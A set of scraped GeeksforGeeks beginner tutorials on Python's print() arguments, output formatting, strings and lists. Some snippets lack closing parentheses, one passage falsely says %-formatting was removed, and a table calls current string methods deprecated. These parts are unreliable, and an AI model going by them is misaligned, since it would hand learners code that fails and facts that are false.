This article is contributed by Deepak Srivatsav. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Python | Output using print() function

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 29 Oct, 2021

Python print() function prints the message to the screen or any other standard output device.

Syntax: print(value(s), sep= ‘ ‘, end = ‘\n’, file=file, flush=flush)

Parameters: 

  • value(s) : Any value, and as many as you like. Will be converted to string before printed
  • sep=’separator’ : (Optional) Specify how to separate the objects, if there is more than one.Default :’ ‘
  • end=’end’: (Optional) Specify what to print at the end.Default : ‘\n’
  • file : (Optional) An object with a write method. Default :sys.stdout
  • flush : (Optional) A Boolean, specifying if the output is flushed (True) or buffered (False). Default: False

Returns: It returns output to the screen.

Though it is not necessary to pass arguments in the print() function, it requires an empty parenthesis at the end that tells python to execute the function rather calling it by name. Now, let’s explore the optional arguments that can be used with the print() function.

String Literals

String literals in python’s print statement are primarily used to format or design how a specific string appears when printed using the print() function.

Example:

Python3




print("GeeksforGeeks \n is best for DSA Content.")

Output:

GeeksforGeeks 
 is best for DSA Content.

end= ” ” statement

The end keyword is used to specify the content that is to be printed at the end of the execution of the print() function. By default, it is set to “\n”, which leads to the change of line after the execution of print() statement.

Example: Python print() without new line.

Python3




# This line will automatically add a new line before the
# next print statement
print ("GeeksForGeeks is the best platform for DSA content")
 
# This print() function ends with "**" as set in the end argument.
print ("GeeksForGeeks is the best platform for DSA content", end= "**")
print("Welcome to GFG")

Output:

GeeksForGeeks is the best platform for DSA content
GeeksForGeeks is the best platform for DSA content**Welcome to GFG

flush Argument

The I/Os in python are generally buffered, meaning they are used in chunks. This is where flush comes in as it helps users to decide if they need the written content to be buffered or not. By default, it is set to false. If it is set to true, the output will be written as a sequence of characters one after the other. This process is slow simply because it is easier to write in chunks rather than writing one character at a time. To understand the use case of the flush argument in the print() function, let’s take an example.

Example:

Imagine you are building a countdown timer, which appends the remaining time to the same line every second. It would look something like below:

3>>>2>>>1>>>Start

The initial code for this would look something like below;

Python3




import time
 
count_seconds = 3
for i in reversed(range(count_seconds + 1)):
    if i > 0:
        print(i, end='>>>')
        time.sleep(1)
    else:
        print('Start')

So, the above code adds text without a trailing newline and then sleeps for one second after each text addition. At the end of the countdown, it prints Start and terminates the line. If you run the code as it is, it waits for 3 seconds and abruptly prints the entire text at once. This is a waste of 3 seconds caused due to buffering of the text chunk as shown below:

Though buffering serves a purpose, it can result in undesired effects as shown above. To counter the same issue, the flush argument is used with the print() function. Now, set the flush argument as true and again see the results.

Python3




import time
 
count_seconds = 3
for i in reversed(range(count_seconds + 1)):
    if i > 0:
        print(i, end='>>>', flush = True)
        time.sleep(1)
    else:
        print('Start')

Output:

Separator

The print() function can accept any number of positional arguments. These arguments can be separated from each other using a “,” separator. These are primarily used for formatting multiple statements in a single print() function.

Example:

Python3




b = "for"
 
print("Geeks", b , "Geeks")

Output:

Geeks for Geeks

file Argument

Contrary to popular belief, the print() function doesn’t convert the messages into text on the screen. These are done by lower-level layers of code, that can read data(message) in bytes. The print() function is an interface over these layers, that delegates the actual printing to a stream or file-like object. By default, the print() function is bound to sys.stdout through the file argument. 

Example: Python print() to file

Python3




import io
 
# declare a dummy file
dummy_file = io.StringIO()
 
# add message to the dummy file
print('Hello Geeks!!', file=dummy_file)
 
# get the value from dummy file
dummy_file.getvalue()

Output:

'Hello Geeks!!\n'

Example : Using print() function in Python

Python3




# Python 3.x program showing
# how to print data on
# a screen
 
# One object is passed
print("GeeksForGeeks")
 
x = 5
# Two objects are passed
print("x =", x)
 
# code for disabling the softspace feature
print('G', 'F', 'G', sep='')
 
# using end argument
print("Python", end='@')
print("GeeksforGeeks")

Output:

GeeksForGeeks
x = 5
GFG
Python@GeeksforGeeks

My Personal Notes arrow_drop_up

How to print without newline in Python?

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 09 Aug, 2021

Generally, people switching from C/C++ to Python wonder how to print two or more variables or statements without going into a new line in python. Since the python print() function by default ends with a newline. Python has a predefined format if you use print(a_variable) then it will go to the next line automatically. 
 

For example: 

Python3




print("geeks")
print("geeksforgeeks")

Will result in this: 

geeks
geeksforgeeks

But sometimes it may happen that we don’t want to go to the next line but want to print on the same line. So what we can do? 
 

For Example: 

Input : print("geeks") print("geeksforgeeks")
Output : geeks geeksforgeeks

Input : a = [1, 2, 3, 4]
Output : 1 2 3 4 

The solution discussed here is totally dependent on the python version you are using. 
 

Print without newline in Python 2.x

python




# Python 2 code for printing
# on the same line printing
# geeks and geeksforgeeks
# in the same line
 
print("geeks"),
print("geeksforgeeks")
 
# array
a = [1, 2, 3, 4]
 
# printing a element in same
# line
for i in range(4):
    print(a[i]),

Output: 

geeks geeksforgeeks
1 2 3 4

Print without newline in Python 3.x

python3




# Python 3 code for printing
# on the same line printing
# geeks and geeksforgeeks
# in the same line
 
print("geeks", end =" ")
print("geeksforgeeks")
 
# array
a = [1, 2, 3, 4]
 
# printing a element in same
# line
for i in range(4):
    print(a[i], end =" ")

Output: 

geeks geeksforgeeks
1 2 3 4

Print without newline in Python 3.x without using for loop

Python3




# Print without newline in Python 3.x without using for loop
 
l=[1,2,3,4,5,6]
 
# using * symbol prints the list
# elements in a single line
print(*l)
 
#This code is contributed by anuragsingh1022

Output:

1 2 3 4 5 6

My Personal Notes arrow_drop_up

Python end parameter in print()

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 17 Mar, 2021

By default python’s print() function ends with a newline. A programmer with C/C++ background may wonder how to print without newline.

Python’s print() function comes with a parameter called ‘end’. By default, the value of this parameter is ‘\n’, i.e. the new line character. You can end a print statement with any character/string using this parameter.




# This Python program must be run with
# Python 3 as it won't work with 2.7.
  
# ends the output with a <space> 
print("Welcome to" , end = ' '
print("GeeksforGeeks", end = ' ')

Output :

Welcome to GeeksforGeeks

One more program to demonstrate working of end parameter.




# This Python program must be run with
# Python 3 as it won't work with 2.7.
  
# ends the output with '@'
print("Python" , end = '@'
print("GeeksforGeeks")

Output :

Python@GeeksforGeeks

This article is contributed by Ankit Bindal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above

My Personal Notes arrow_drop_up

Python | sep parameter in print()

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 21 Jan, 2021

The separator between the arguments to print() function in Python is space by default (softspace feature) , which can be modified and can be made to any character, integer or string as per our choice. The ‘sep’ parameter is used to achieve the same, it is found only in python 3.x or later. It is also used for formatting the output strings.
 

Examples:

Python3




#code for disabling the softspace feature
print('G','F','G', sep='')
 
#for formatting a date
print('09','12','2016', sep='-')
 
#another example
print('pratik','geeksforgeeks', sep='@')

Output: 
 

GFG
09-12-2016
pratik@geeksforgeeks

The sep parameter when used with the end parameter it produces awesome results. Some examples by combining the sep and end parameters.
 

Python3




print('G','F', sep='', end='')
print('G')
#\n provides new line after printing the year
print('09','12','2016', sep='-', end='\n')
 
print('prtk','agarwal', sep='', end='@')
print('geeksforgeeks')

Output: 
 

GFG
09-12-2016
prtkagarwal@geeksforgeeks

Note: Please change the language from Python to Python 3 in the online ide. 
Go to your interactive python ide by typing python in your cmd ( windows ) or terminal ( linux )
 

Python3




#import the below module and see what happens
import antigravity
#NOTE - it wont work on online ide

This article is contributed by Pratik Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Python | Output Formatting

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 19 Feb, 2022

There are several ways to present the output of a program. Data can be printed in a human-readable form, or written to a file for future use, or even in some other specified form. Users often want more control over the formatting of output than simply printing space-separated values. There are several ways to format output. 

Formatting output using String modulo operator(%) : 
The % operator can also be used for string formatting. It interprets the left argument much like a printf()-style format as in C language strings to be applied to the right argument. In Python, there is no printf() function but the functionality of the ancient printf is contained in Python. To this purpose, the modulo operator % is overloaded by the string class to perform string formatting. Therefore, it is often called a string modulo (or sometimes even called modulus) operator. 

The string modulo operator ( % ) is still available in Python(3.x) and is widely used. But nowadays the old style of formatting is removed from the language. 

Python3




# Python program showing how to use
# string modulo operator(%) to print
# fancier output
 
# print integer and float value
print("Geeks : %2d, Portal : %5.2f" % (1, 05.333))
 
# print integer value
print("Total students : %3d, Boys : %2d" % (240, 120))
 
# print octal value
print("%7.3o" % (25))
 
# print exponential value
print("%10.3E" % (356.08977))

Output : 

Geeks :  1, Portal : 5.33
Total students : 240, Boys : 120
    031
3.561E+02

There are two of those in our example: “%2d” and “%5.2f”. The general syntax for a format placeholder is: 

 %[flags][width][.precision]type 

Let’s take a look at the placeholders in our example.  

Formatting output using the format method : 
The format() method was added in Python(2.6). The format method of strings requires more manual effort. Users use {} to mark where a variable will be substituted and can provide detailed formatting directives, but the user also needs to provide the information to be formatted. This method lets us concatenate elements within an output through positional formatting. For Example – 

Code 1:  

Python3




# Python program showing
# use of format() method
 
# using format() method
print('I love {} for "{}!"'.format('Geeks', 'Geeks'))
 
# using format() method and referring
# a position of the object
print('{0} and {1}'.format('Geeks', 'Portal'))
 
print('{1} and {0}'.format('Geeks', 'Portal'))
 
 
# the above formatting can also be done by using f-Strings
# Although, this features work only with python 3.6 or above.
 
print(f"I love {'Geeks'} for \"{'Geeks'}!\"")
 
# using format() method and referring
# a position of the object
print(f"{'Geeks'} and {'Portal'}")

Output : 

I love Geeks for "Geeks!"
Geeks and Portal
Portal and Geeks

The brackets and characters within them (called format fields) are replaced with the objects passed into the format() method. A number in the brackets can be used to refer to the position of the object passed into the format() method. 
  
Code 2: 

Python3




# Python program showing
# a use of format() method
 
# combining positional and keyword arguments
print('Number one portal is {0}, {1}, and {other}.'
     .format('Geeks', 'For', other ='Geeks'))
 
# using format() method with number
print("Geeks :{0:2d}, Portal :{1:8.2f}".
      format(12, 00.546))
 
# Changing positional argument
print("Second argument: {1:3d}, first one: {0:7.2f}".
      format(47.42, 11))
 
print("Geeks: {a:5d},  Portal: {p:8.2f}".
     format(a = 453, p = 59.058))

Output: 

Number one portal is Geeks, For, and Geeks.
Geeks :12, Portal :    0.55
Second argument:  11, first one:   47.42
Geeks:   453, Portal:    59.06

The following diagram with an example usage depicts how the format method works for positional parameters: 

  
Code 3: 

Python3




# Python program to
# show format () is
# used in dictionary
 
tab = {'geeks': 4127, 'for': 4098, 'geek': 8637678}
 
# using format() in dictionary
print('Geeks: {0[geeks]:d}; For: {0[for]:d}; '
    'Geeks: {0[geek]:d}'.format(tab))
 
data = dict(fun ="GeeksForGeeks", adj ="Portal")
 
# using format() in dictionary
print("I love {fun} computer {adj}".format(**data))

Output: 

Geeks: 4127; For: 4098; Geeks: 8637678
I love GeeksForGeeks computer Portal

Formatting output using the String method : 
This output is formatted by using string slicing and concatenation operations. The string type has some methods that help in formatting output in a fancier way. Some methods which help in formatting an output are str.rjust(), str.rjust(), and str.centre()

Python3




# Python program to
# format a output using
# string() method
 
cstr = "I love geeksforgeeks"
   
# Printing the center aligned 
# string with fillchr
print ("Center aligned string with fillchr: ")
print (cstr.center(40, '#'))
 
# Printing the left aligned 
# string with "-" padding 
print ("The left aligned string is : ")
print (cstr.ljust(40, '-'))
 
# Printing the right aligned string
# with "-" padding 
print ("The right aligned string is : ")
print (cstr.rjust(40, '-'))

Output: 

Center aligned string with fillchr: 
##########I love geeksforgeeks##########

The left aligned string is : 
I love geeksforgeeks--------------------

The right aligned string is : 
--------------------I love geeksforgeeks

 


My Personal Notes arrow_drop_up

Python | Set 3 (Strings, Lists, Tuples, Iterations)

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 28 Jun, 2021

In the previous article, we read about the basics of Python. Now, we continue with some more python concepts.

Strings in Python 
A string is a sequence of characters. It can be declared in python by using double-quotes. Strings are immutable, i.e., they cannot be changed.

Python




# Assigning string to a variable
a = "This is a string"
print (a)

Lists in Python 
Lists are one of the most powerful tools in python. They are just like the arrays declared in other languages. But the most powerful thing is that list need not be always homogeneous. A single list can contain strings, integers, as well as objects. Lists can also be used for implementing stacks and queues. Lists are mutable, i.e., they can be altered once declared.

Python




# Declaring a list
L = [1, "a" , "string" , 1+2]
print L
L.append(6)
print L
L.pop()
print L
print L[1]

The output is :  

[1, 'a', 'string', 3]
[1, 'a', 'string', 3, 6]
[1, 'a', 'string', 3]
a

Tuples in Python 
A tuple is a sequence of immutable Python objects. Tuples are just like lists with the exception that tuples cannot be changed once declared. Tuples are usually faster than lists.

Python




tup = (1, "a", "string", 1+2)
print(tup)
print(tup[1])

The output is : 

(1, 'a', 'string', 3)
a

Iterations in Python 
Iterations or looping can be performed in python by ‘for’ and ‘while’ loops. Apart from iterating upon a particular condition, we can also iterate on strings, lists, and tuples.
Example 1: Iteration by while loop for a condition

Python




i = 1
while (i < 10):
    print(i)
    i += 1

The output is : 

1
2
3
4
5
6
7
8
9 

Example 2: Iteration by for loop on string

Python




s = "Hello World"
for i in s :
    print (i)

The output is : 

H
e
l
l
o
 
W
o
r
l
d

Example 3: Iteration by for loop on list

Python




L = [1, 4, 5, 7, 8, 9]
for  i in L:
    print (i)

The output is : 

1
4
5
7
8
9

Example 4 : Iteration by for loop for range

Python




for i in range(0, 10):
    print (i)

The output is : 

0
1
2
3
4
5
6
7
8
9 

https://www.youtube.com/watch?v=pCoB45

 

 


My Personal Notes arrow_drop_up

Python String

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

In Python, Strings are arrays of bytes representing Unicode characters. However, Python does not have a character data type, a single character is simply a string with a length of 1. Square brackets can be used to access elements of the string.

Creating a String

Strings in Python can be created using single quotes or double quotes or even triple quotes. 

Python3




# Python Program for
# Creation of String
  
# Creating a String
# with single Quotes
String1 = 'Welcome to the Geeks World'
print("String with the use of Single Quotes: ")
print(String1)
  
# Creating a String
# with double Quotes
String1 = "I'm a Geek"
print("\nString with the use of Double Quotes: ")
print(String1)
  
# Creating a String
# with triple Quotes
String1 = '''I'm a Geek and I live in a world of "Geeks"'''
print("\nString with the use of Triple Quotes: ")
print(String1)
  
# Creating String with triple
# Quotes allows multiple lines
String1 = '''Geeks
            For
            Life'''
print("\nCreating a multiline String: ")
print(String1)

Output: 

String with the use of Single Quotes: 
Welcome to the Geeks World

String with the use of Double Quotes: 
I'm a Geek

String with the use of Triple Quotes: 
I'm a Geek and I live in a world of "Geeks"

Creating a multiline String: 
Geeks
            For
            Life

Accessing characters in Python

In Python, individual characters of a String can be accessed by using the method of Indexing. Indexing allows negative address references to access characters from the back of the String, e.g. -1 refers to the last character, -2 refers to the second last character, and so on. 

While accessing an index out of the range will cause an IndexError. Only Integers are allowed to be passed as an index, float or other types that will cause a TypeError

strings

Python3




# Python Program to Access
# characters of String
  
String1 = "GeeksForGeeks"
print("Initial String: ")
print(String1)
  
# Printing First character
print("\nFirst character of String is: ")
print(String1[0])
  
# Printing Last character
print("\nLast character of String is: ")
print(String1[-1])

Output: 

Initial String: 
GeeksForGeeks

First character of String is: 
G

Last character of String is: 
s

String Slicing

To access a range of characters in the String, the method of slicing is used. Slicing in a String is done by using a Slicing operator (colon). 

Python3




# Python Program to
# demonstrate String slicing
  
# Creating a String
String1 = "GeeksForGeeks"
print("Initial String: "
print(String1)
  
# Printing 3rd to 12th character
print("\nSlicing characters from 3-12: ")
print(String1[3:12])
  
# Printing characters between 
# 3rd and 2nd last character
print("\nSlicing characters between " +
    "3rd and 2nd last character: ")
print(String1[3:-2])

Output: 

Initial String: 
GeeksForGeeks

Slicing characters from 3-12: 
ksForGeek

Slicing characters between 3rd and 2nd last character: 
ksForGee

Deleting/Updating from a String

In Python, Updation or deletion of characters from a String is not allowed. This will cause an error because item assignment or item deletion from a String is not supported. Although deletion of the entire String is possible with the use of a built-in del keyword. This is because Strings are immutable, hence elements of a String cannot be changed once it has been assigned. Only new strings can be reassigned to the same name. 

Updation of a character: 

Python3




# Python Program to Update
# character of a String
  
String1 = "Hello, I'm a Geek"
print("Initial String: ")
print(String1)
  
# Updating a character
# of the String
String1[2] = 'p'
print("\nUpdating character at 2nd Index: ")
print(String1)

Error: 

Traceback (most recent call last): 
File “/home/360bb1830c83a918fc78aa8979195653.py”, line 10, in 
String1[2] = ‘p’ 
TypeError: ‘str’ object does not support item assignment

Updating Entire String:

Python3




# Python Program to Update
# entire String
  
String1 = "Hello, I'm a Geek"
print("Initial String: ")
print(String1)
  
# Updating a String
String1 = "Welcome to the Geek World"
print("\nUpdated String: ")
print(String1)

Output: 

Initial String: 
Hello, I'm a Geek

Updated String: 
Welcome to the Geek World 

Deletion of a character: 

Python3




# Python Program to Delete
# characters from a String
  
String1 = "Hello, I'm a Geek"
print("Initial String: ")
print(String1)
  
# Deleting a character
# of the String
del String1[2]
print("\nDeleting character at 2nd Index: ")
print(String1)

Error: 

Traceback (most recent call last): 
File “/home/499e96a61e19944e7e45b7a6e1276742.py”, line 10, in 
del String1[2] 
TypeError: ‘str’ object doesn’t support item deletion

Deleting Entire String:

Deletion of the entire string is possible with the use of del keyword. Further, if we try to print the string, this will produce an error because String is deleted and is unavailable to be printed.  

Python3




# Python Program to Delete
# entire String
  
String1 = "Hello, I'm a Geek"
print("Initial String: ")
print(String1)
  
# Deleting a String
# with the use of del
del String1
print("\nDeleting entire String: ")
print(String1)

Error: 

Traceback (most recent call last): 
File “/home/e4b8f2170f140da99d2fe57d9d8c6a94.py”, line 12, in 
print(String1) 
NameError: name ‘String1’ is not defined 

Escape Sequencing in Python

While printing Strings with single and double quotes in it causes SyntaxError because String already contains Single and Double Quotes and hence cannot be printed with the use of either of these. Hence, to print such a String either Triple Quotes are used or Escape sequences are used to print such Strings. 

Escape sequences start with a backslash and can be interpreted differently. If single quotes are used to represent a string, then all the single quotes present in the string must be escaped and same is done for Double Quotes. 

Python3




# Python Program for
# Escape Sequencing
# of String
  
# Initial String
String1 = '''I'm a "Geek"'''
print("Initial String with use of Triple Quotes: ")
print(String1)
  
# Escaping Single Quote
String1 = 'I\'m a "Geek"'
print("\nEscaping Single Quote: ")
print(String1)
  
# Escaping Double Quotes
String1 = "I'm a \"Geek\""
print("\nEscaping Double Quotes: ")
print(String1)
  
# Printing Paths with the
# use of Escape Sequences
String1 = "C:\\Python\\Geeks\\"
print("\nEscaping Backslashes: ")
print(String1)

Output: 

Initial String with use of Triple Quotes: 
I'm a "Geek"

Escaping Single Quote: 
I'm a "Geek"

Escaping Double Quotes: 
I'm a "Geek"

Escaping Backslashes: 
C:\Python\Geeks\

To ignore the escape sequences in a String, r or R is used, this implies that the string is a raw string and escape sequences inside it are to be ignored.

Python3




# Printing Geeks in HEX
String1 = "This is \x47\x65\x65\x6b\x73 in \x48\x45\x58"
print("\nPrinting in HEX with the use of Escape Sequences: ")
print(String1)
  
# Using raw String to
# ignore Escape Sequences
String1 = r"This is \x47\x65\x65\x6b\x73 in \x48\x45\x58"
print("\nPrinting Raw String in HEX Format: ")
print(String1)

Output:  

Printing in HEX with the use of Escape Sequences: 
This is Geeks in HEX

Printing Raw String in HEX Format: 
This is \x47\x65\x65\x6b\x73 in \x48\x45\x58

Formatting of Strings

Strings in Python can be formatted with the use of format() method which is a very versatile and powerful tool for formatting Strings. Format method in String contains curly braces {} as placeholders which can hold arguments according to position or keyword to specify the order.

Python3




# Python Program for
# Formatting of Strings
  
# Default order
String1 = "{} {} {}".format('Geeks', 'For', 'Life')
print("Print String in default order: ")
print(String1)
  
# Positional Formatting
String1 = "{1} {0} {2}".format('Geeks', 'For', 'Life')
print("\nPrint String in Positional order: ")
print(String1)
  
# Keyword Formatting
String1 = "{l} {f} {g}".format(g='Geeks', f='For', l='Life')
print("\nPrint String in order of Keywords: ")
print(String1)

Output: 

Print String in default order: 
Geeks For Life

Print String in Positional order: 
For Geeks Life

Print String in order of Keywords: 
Life For Geeks

Integers such as Binary, hexadecimal, etc., and floats can be rounded or displayed in the exponent form with the use of format specifiers. 

Python3




# Formatting of Integers
String1 = "{0:b}".format(16)
print("\nBinary representation of 16 is ")
print(String1)
  
# Formatting of Floats
String1 = "{0:e}".format(165.6458)
print("\nExponent representation of 165.6458 is ")
print(String1)
  
# Rounding off Integers
String1 = "{0:.2f}".format(1/6)
print("\none-sixth is : ")
print(String1)

Output: 

Binary representation of 16 is 
10000

Exponent representation of 165.6458 is 
1.656458e+02

one-sixth is : 
0.17

A string can be left() or center(^) justified with the use of format specifiers, separated by a colon(:).  

Python3




# String alignment
String1 = "|{:<10}|{:^10}|{:>10}|".format('Geeks', 'for', 'Geeks')
print("\nLeft, center and right alignment with Formatting: ")
print(String1)
  
# To demonstrate aligning of spaces
String1 = "\n{0:^16} was founded in {1:<4}!".format("GeeksforGeeks", 2009)
print(String1)

Output: 

Left, center and right alignment with Formatting: 
|Geeks     |   for    |     Geeks|

 GeeksforGeeks   was founded in 2009 !

Old style formatting was done without the use of format method by using % operator 

Python3




# Python Program for
# Old Style Formatting
# of Integers
  
Integer1 = 12.3456789
print("Formatting in 3.2f format: ")
print('The value of Integer1 is %3.2f' % Integer1)
print("\nFormatting in 3.4f format: ")
print('The value of Integer1 is %3.4f' % Integer1)

Output: 

Formatting in 3.2f format: 
The value of Integer1 is 12.35

Formatting in 3.4f format: 
The value of Integer1 is 12.3457

Useful String Operations  

String constants 

Built-In FunctionDescription
string.ascii_lettersConcatenation of the ascii_lowercase and ascii_uppercase constants.
string.ascii_lowercaseConcatenation of lowercase letters
string.ascii_uppercaseConcatenation of uppercase letters
string.digitsDigit in strings
string.hexdigitsHexadigit in strings
string.lettersconcatenation of the strings lowercase and uppercase
string.lowercaseA string must contain lowercase letters.
string.octdigitsOctadigit in a string
string.punctuationASCII characters having punctuation characters.
string.printableString of characters which are printable
String.endswith()Returns True if a string ends with the given suffix otherwise returns False
String.startswith()Returns True if a string starts with the given prefix otherwise returns False
String.isdigit()Returns “True” if all characters in the string are digits, Otherwise, It returns “False”.
String.isalpha()Returns “True” if all characters in the string are alphabets, Otherwise, It returns “False”.
string.isdecimal()Returns true if all characters in a string are decimal.
str.format()one of the string formatting methods in Python3, which allows multiple substitutions and value formatting.
String.indexReturns the position of the first occurrence of substring in a string
string.uppercaseA string must contain uppercase letters.
string.whitespaceA string containing all characters that are considered whitespace.
string.swapcase()Method converts all uppercase characters to lowercase and vice versa of the given string, and returns it
replace()returns a copy of the string where all occurrences of a substring is replaced with another substring.

Deprecated string functions

Built-In FunctionDescription
string.IsdecimalReturns true if all characters in a string are decimal
String.IsalnumReturns true if all the characters in a given string are alphanumeric.
string.IstitleReturns True if the string is a title cased string
String.partitionsplits the string at the first occurrence of the separator and returns a tuple.
String.IsidentifierCheck whether a string is a valid identifier or not.
String.lenReturns the length of the string.
String.rindexReturns the highest index of the substring inside the string if substring is found.
String.MaxReturns the highest alphabetical character in a string.
String.minReturns the minimum alphabetical character in a string.
String.splitlinesReturns a list of lines in the string.
string.capitalizeReturn a word with its first character capitalized.
string.expandtabsExpand tabs in a string replacing them by one or more spaces
string.findReturn the lowest indexing a sub string.
string.rfindfind the highest index.
string.countReturn the number of (non-overlapping) occurrences of substring sub in string
string.lowerReturn a copy of s, but with upper case, letters converted to lower case.
string.splitReturn a list of the words of the string, If the optional second argument sep is absent or None
string.rsplit()Return a list of the words of the string s, scanning s from the end.
rpartition()Method splits the given string into three parts
string.splitfieldsReturn a list of the words of the string when only used with two arguments.
string.joinConcatenate a list or tuple of words with intervening occurrences of sep.
string.strip()It returns a copy of the string with both leading and trailing white spaces removed
string.lstripReturn a copy of the string with leading white spaces removed.
string.rstripReturn a copy of the string with trailing white spaces removed.
string.swapcaseConverts lower case letters to upper case and vice versa.
string.translateTranslate the characters using table
string.upperlower case letters converted to upper case.
string.ljustleft-justify in a field of given width.
string.rjustRight-justify in a field of given width.
string.center()Center-justify in a field of given width.
string-zfillPad a numeric string on the left with zero digits until the given width is reached.
string.replaceReturn a copy of string s with all occurrences of substring old replaced by new.
string.casefold()Returns the string in lowercase which can be used for caseless comparisons.
string.encodeEncodes the string into any encoding supported by Python. The default encoding is utf-8.
string.maketransReturns a translation table usable for str.translate()

Recent Articles on Python String 

https://youtu.be/mvDQuegHVXg

More Videos on Python Strings:
Python String Methods – Part2 
Python String Methods – Part 3 
Logical Operations and Splitting in Strings 

Programs of Python Strings  


My Personal Notes arrow_drop_up

Python Lists

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Lists are just like dynamically sized arrays, declared in other languages (vector in C++ and ArrayList in Java). Lists need not be homogeneous always which makes it the most powerful tool in Python. A single list may contain DataTypes like Integers, Strings, as well as Objects. Lists are mutable, and hence, they can be altered even after their creation.

Python-Foundation-Course

List in Python are ordered and have a definite count. The elements in a list are indexed according to a definite sequence and the indexing of a list is done with 0 being the first index. Each element in the list has its definite place in the list, which allows duplicating of elements in the list, with each element having its own distinct place and credibility.

Note- Lists are a useful tool for preserving a sequence of data and further iterating over it.

Table of content: 

Creating a List

Lists in Python can be created by just placing the sequence inside the square brackets[]. Unlike Sets, a list doesn’t need a built-in function for the creation of a list. 

Note – Unlike Sets, the list may contain mutable elements.  

Python3




# Python program to demonstrate
# Creation of List
  
# Creating a List
List = []
print("Blank List: ")
print(List)
  
# Creating a List of numbers
List = [10, 20, 14]
print("\nList of numbers: ")
print(List)
  
# Creating a List of strings and accessing
# using index
List = ["Geeks", "For", "Geeks"]
print("\nList Items: ")
print(List[0])
print(List[2])
  
# Creating a Multi-Dimensional List
# (By Nesting a list inside a List)
List = [['Geeks', 'For'], ['Geeks']]
print("\nMulti-Dimensional List: ")
print(List)
Output: 
Blank List: 
[]

List of numbers: 
[10, 20, 14]

List Items
Geeks
Geeks

Multi-Dimensional List: 
[['Geeks', 'For'], ['Geeks']]

 

Creating a list with multiple distinct or duplicate elements

A list may contain duplicate values with their distinct positions and hence, multiple distinct or duplicate values can be passed as a sequence at the time of list creation.

Python3




# Creating a List with
# the use of Numbers
# (Having duplicate values)
List = [1, 2, 4, 4, 3, 3, 3, 6, 5]
print("\nList with the use of Numbers: ")
print(List)
  
# Creating a List with
# mixed type of values
# (Having numbers and strings)
List = [1, 2, 'Geeks', 4, 'For', 6, 'Geeks']
print("\nList with the use of Mixed Values: ")
print(List)
Output: 
List with the use of Numbers: 
[1, 2, 4, 4, 3, 3, 3, 6, 5]

List with the use of Mixed Values: 
[1, 2, 'Geeks', 4, 'For', 6, 'Geeks']

 

Knowing the size of List

Python3




# Creating a List
List1 = []
print(len(List1))
  
# Creating a List of numbers
List2 = [10, 20, 14]
print(len(List2))
Output: 
0
3

 

Adding Elements to a List

Using append() method

Elements can be added to the List by using the built-in append() function. Only one element at a time can be added to the list by using the append() method, for the addition of multiple elements with the append() method, loops are used. Tuples can also be added to the list with the use of the append method because tuples are immutable. Unlike Sets, Lists can also be added to the existing list with the use of the append() method.

Python3




# Python program to demonstrate
# Addition of elements in a List
  
# Creating a List
List = []
print("Initial blank List: ")
print(List)
  
# Addition of Elements
# in the List
List.append(1)
List.append(2)
List.append(4)
print("\nList after Addition of Three elements: ")
print(List)
  
# Adding elements to the List
# using Iterator
for i in range(1, 4):
    List.append(i)
print("\nList after Addition of elements from 1-3: ")
print(List)
  
# Adding Tuples to the List
List.append((5, 6))
print("\nList after Addition of a Tuple: ")
print(List)
  
# Addition of List to a List
List2 = ['For', 'Geeks']
List.append(List2)
print("\nList after Addition of a List: ")
print(List)
Output: 
Initial blank List: 
[]

List after Addition of Three elements: 
[1, 2, 4]

List after Addition of elements from 1-3: 
[1, 2, 4, 1, 2, 3]

List after Addition of a Tuple: 
[1, 2, 4, 1, 2, 3, (5, 6)]

List after Addition of a List: 
[1, 2, 4, 1, 2, 3, (5, 6), ['For', 'Geeks']]

 

Using insert() method

append() method only works for the addition of elements at the end of the List, for the addition of elements at the desired position, insert() method is used. Unlike append() which takes only one argument, the insert() method requires two arguments(position, value). 

Python3




# Python program to demonstrate 
# Addition of elements in a List
   
# Creating a List
List = [1,2,3,4]
print("Initial List: ")
print(List)
  
# Addition of Element at 
# specific Position
# (using Insert Method)
List.insert(3, 12)
List.insert(0, 'Geeks')
print("\nList after performing Insert Operation: ")
print(List)
Output: 
Initial List: 
[1, 2, 3, 4]

List after performing Insert Operation: 
['Geeks', 1, 2, 3, 12, 4]

 

Using extend() method

Other than append() and insert() methods, there’s one more method for the Addition of elements, extend(), this method is used to add multiple elements at the same time at the end of the list.

Note – append() and extend() methods can only add elements at the end.

Python3




# Python program to demonstrate
# Addition of elements in a List
  
# Creating a List
List = [1, 2, 3, 4]
print("Initial List: ")
print(List)
  
# Addition of multiple elements
# to the List at the end
# (using Extend Method)
List.extend([8, 'Geeks', 'Always'])
print("\nList after performing Extend Operation: ")
print(List)
Output: 
Initial List: 
[1, 2, 3, 4]

List after performing Extend Operation: 
[1, 2, 3, 4, 8, 'Geeks', 'Always']

 

Accessing elements from the List

In order to access the list items refer to the index number. Use the index operator [ ] to access an item in a list. The index must be an integer. Nested lists are accessed using nested indexing. 

Python3




# Python program to demonstrate
# accessing of element from list
  
# Creating a List with
# the use of multiple values
List = ["Geeks", "For", "Geeks"]
  
# accessing a element from the
# list using index number
print("Accessing a element from the list")
print(List[0])
print(List[2])
  
# Creating a Multi-Dimensional List
# (By Nesting a list inside a List)
List = [['Geeks', 'For'], ['Geeks']]
  
